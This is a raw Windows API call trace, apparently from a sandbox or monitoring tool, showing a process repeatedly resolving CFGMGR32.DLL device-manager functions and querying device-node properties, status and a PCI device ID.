GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.797] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.798] malloc (_Size=0x18) returned 0x196ef0d2060 [0226.798] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.799] malloc (_Size=0x48) returned 0x196ef0fbd60 [0226.799] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6809a53d, dwHighDateTime=0x1d9eb0c)) [0226.799] SetEvent (hEvent=0x248) returned 1 [0226.802] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.803] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.803] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.804] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.805] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.806] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.806] malloc (_Size=0x18) returned 0x196ef0d1980 [0226.807] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.807] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0226.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6809a53d, dwHighDateTime=0x1d9eb0c)) [0226.807] SetEvent (hEvent=0x248) returned 1 [0226.897] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.897] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.897] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.901] malloc (_Size=0x18) returned 0x196ef0d1c60 [0226.901] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0226.907] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0226.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x681a4f4a, dwHighDateTime=0x1d9eb0c)) [0226.908] SetEvent (hEvent=0x248) returned 1 [0226.989] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.989] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0226.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0226.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0226.991] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0226.992] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0226.993] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0226.993] malloc (_Size=0x18) returned 0x196ef0d1d60 [0226.993] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x29, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0226.993] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0226.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x68263ac8, dwHighDateTime=0x1d9eb0c)) [0226.994] SetEvent (hEvent=0x248) returned 1 [0226.999] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0226.999] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0226.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0226.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0226.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0226.999] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.000] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.001] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.002] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.002] malloc (_Size=0x18) returned 0x196ef0d1e80 [0227.002] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x29, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0227.003] malloc (_Size=0x48) returned 0x196ef0fb450 [0227.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6828af8b, dwHighDateTime=0x1d9eb0c)) [0227.003] SetEvent (hEvent=0x248) returned 1 [0227.007] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.007] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.011] malloc (_Size=0x18) returned 0x196ef0d1980 [0227.011] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0227.012] malloc (_Size=0x48) returned 0x196ef0fb680 [0227.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x682aff71, dwHighDateTime=0x1d9eb0c)) [0227.012] SetEvent (hEvent=0x248) returned 1 [0227.018] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.018] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.018] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.019] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.020] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.021] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.022] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.023] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.024] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.027] malloc (_Size=0x18) returned 0x196ef0d1f00 [0227.027] CM_Get_Device_IDA (in: dnDevInst=0x2a, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_2668&SUBSYS_11001AF4&REV_01\\3&11583659&0&38") returned 0x0 [0227.028] malloc (_Size=0x48) returned 0x196ef0fc170 [0227.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x682d67b9, dwHighDateTime=0x1d9eb0c)) [0227.029] SetEvent (hEvent=0x248) returned 1 [0227.241] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.241] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0227.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0227.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0227.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0227.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0227.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0227.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0227.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0227.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0227.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0227.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0227.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0227.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0227.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0227.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0227.245] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0227.245] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0227.245] malloc (_Size=0x124) returned 0x196ef0d67b0 [0227.246] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0227.246] free (_Block=0x196ef0d67b0) [0227.246] malloc (_Size=0x48) returned 0x196ef0fb900 [0227.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x684e8021, dwHighDateTime=0x1d9eb0c)) [0227.247] SetEvent (hEvent=0x248) returned 1 [0227.249] malloc (_Size=0x18) returned 0x196ef0d1be0 [0227.249] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.249] free (_Block=0x196ef0d1be0) [0227.249] malloc (_Size=0x18) returned 0x196ef0d1960 [0227.249] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.249] free (_Block=0x196ef0d1960) [0227.249] malloc (_Size=0x18) returned 0x196ef0d1f00 [0227.249] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.249] free (_Block=0x196ef0d1f00) [0227.250] malloc (_Size=0x18) returned 0x196ef0d1a40 [0227.250] SafeArrayPutElement (psa=0x196ef1f2570, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0227.250] free (_Block=0x196ef0d1a40) [0227.250] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8567e0 [0227.250] SafeArrayGetDim (psa=0x196ef1f2570) returned 0x1 [0227.250] SafeArrayGetLBound (in: psa=0x196ef1f2570, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0227.250] SafeArrayGetUBound (in: psa=0x196ef1f2570, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0227.250] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0227.250] SafeArrayGetDim (psa=0x196ef1f2570) returned 0x1 [0227.250] SafeArrayGetUBound (in: psa=0x196ef1f2570, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0227.250] SafeArrayGetElemsize (psa=0x196ef1f2570) returned 0x8 [0227.250] SafeArrayGetElement (in: psa=0x196ef1f2570, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0227.251] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.251] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.251] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.251] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7aa9c8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0227.252] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0227.252] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8567e0) returned 1 [0227.253] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0227.253] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0227.253] 